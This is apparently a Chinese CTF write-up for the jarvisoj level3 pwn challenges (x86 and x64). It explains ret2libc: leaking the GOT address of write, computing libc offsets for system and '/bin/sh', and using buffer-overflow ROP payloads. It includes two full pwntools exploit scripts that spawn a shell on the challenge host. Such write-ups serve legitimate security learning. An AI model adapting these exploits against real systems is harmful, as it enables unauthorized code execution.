PWN

PWN|level3 x86 and x64 jarvisoj

ret2libc:通过真实内存和 libc 中的偏移计算出 system 函数位置

Posted by Elli0t on 2020-04-21

x32

32位程序,开了 NX ,ida 中没有 system 和 /bin/sh 所以要用偏移去找到 system 和 /bin/sh
虽然程序中没有 system 和 /bin/sh ,但是程序动态链接的 libc 中有 system 和 /bin/sh 。
所以 ida 打开 libc-2.19.so
alt + t 搜索
trl + t 搜索下一个

或者用 linux 命令查找

1
2
3
readelf -a ./libc-2.19.so |grep system
readelf -a ./libc-2.19.so |grep read
strings -a -t x ./libc-2.19.so | grep "/bin/sh"

最终找到

1
2
3
4
  950: 000daf60   125 FUNC    WEAK   DEFAULT   12 read@@GLIBC_2.0
1443: 00040310 56 FUNC WEAK DEFAULT 12 system@@GLIBC_2.0
139: 00033260 45 FUNC GLOBAL DEFAULT 12 exit@@GLIBC_2.0
16084c /bin/sh

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import *

context.terminal=["tmux","sp","-h"]
context.log_level='debug'

DEBUG = 0
LOCAL = True
BIN = './level3'
HOST = 'pwn2.jarvisoj.com'
PORT = 9879

def exploit(sh):
lib = ELF('./libc-2.19.so')
lib_write = lib.symbols['write']
lib_system = lib.symbols['system']
lib_bin = lib.search('/bin/sh').next()
elf_plt_write = elf.plt['write'] # 也可以写成 elf.symbols
elf_got_write = elf.got['write']
elf_vulner = elf.symbols['vulnerable_function']
write_got = p32(0x1) + p32(elf_got_write) + p32(0x4)
payload_1 = 140*'a' + p32(elf_plt_write) + p32(elf_vulner) + write_got
sh.recvuntil('Input:\n')
sh.sendline(payload_1)
write_true_addr = u32(sh.recv(4))
sys_addr = write_true_addr + (lib_system - lib_write)
bin_addr = write_true_addr + (lib_bin - lib_write)
payload_2 = 140*'a' + p32(sys_addr) + p32(0x1) + p32(bin_addr)
sh.recvuntil('Input:\n')
sh.sendline(payload_2)
sh.interactive()
return

if __name__ == '__main__':
elf = ELF(BIN)
if len(sys.argv) > 1:
LOCAL = False
sh = remote(HOST,PORT)
exploit(sh)
else:
LOCAL = True
sh = process(BIN)
log.info('PID: ' + str(proc.pidof(sh)[0])) #pid
# pause
if DEBUG:
gdb.attach(sh)
exploit(sh)

got 表中存储真实地址,但 got 不是真实地址。got 表是可写的数据段,里面存储的内容是 write 函数在 libc 中的实际地址,但是数据不能执行。所以想执行 write 不能用 elf.got[‘write’] 要用 elf.plt[‘write’] 或者 elf.symbols[‘write’]

plt 里面放的不是 got 的地址,是指向 got 表的一个指令

exp 执行结果

图中三行分别为
print hex(elf_plt_write)
print hex(elf_got_write)
print hex(write_true_addr) # write
结果为
0x8048340
0x804a018
0xf7e5c460

print hex(elf_plt_write)
print hex(elf_got_write)
print hex(write_true_addr) # write_plt
0x8048340
0x804a018
0xa01825ff

为什么 「print hex(write_true_addr) # write_plt」不等于 elf.got[‘write’],虽然「print hex(write_true_addr) # write_plt」输出的是 write 的 plt 里的值,但是这个值不是 got 的地址,是指向 got 表的一个指令

32位函数地址是f7开头的
64位是7f开头的

x64

通过 ROPgadget 查找指令 pop:

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from pwn import *
import time

context.terminal=["tmux","sp","-h"]
context.log_level='debug'

DEBUG = 0
LOCAL = True
BIN = './level3_x64'
HOST = 'pwn2.jarvisoj.com'
PORT = 9883

def exploit(sh):
libc = ELF('./libc-2.19.so')
sys_lib_addr = libc.symbols['system']
write_lib_addr = libc.symbols['write']
bin_lib_addr = libc.search('/bin/sh').next()
#eli0t
write_plt = elf.symbols['write']
write_got = elf.got['write']
vulner_addr = elf.symbols['vulnerable_function']
rdi = 0x4006b3
rsi = 0x4006b1
payload = 0x80*'a' + 0x8*'b' + p64(rdi) + p64(0x1) + p64(rsi) + p64(write_got) + p64(0x1) + p64(write_plt) + p64(vulner_addr)
sh.recvuntil('Input:\n')
sh.sendline(payload)
write_true = u64(sh.recv(8))
sys_true = write_true - write_lib_addr + sys_lib_addr
bin_true = write_true - write_lib_addr + bin_lib_addr # 这里一定要注意,👴开始不知道是不是脑子进水了,写错了。
payload_2 = 0x80*'a' + 0x8*'b' + p64(rdi) + p64(bin_true) + p64(sys_true) + p64(0x1)
sh.recvuntil('Input:\n')
sh.sendline(payload_2)
sh.interactive()
return

if __name__ == '__main__':
elf = ELF(BIN)
if len(sys.argv) > 1:
LOCAL = False
sh = remote(HOST,PORT)
exploit(sh)
else:
LOCAL = True
sh = process(BIN)
log.info('PID: ' + str(proc.pidof(sh)[0]))
# pause
if DEBUG:
gdb.attach(sh)
exploit(sh)
参考链接

https://www.bbsmax.com/A/mo5kNV14Jw/
https://www.jianshu.com/p/722bcf89c6c2
https://blog.csdn.net/cossack9989/article/details/79326659
https://blog.csdn.net/linyt/article/details/43643499
使用ret2libc攻击方法绕过数据执行保护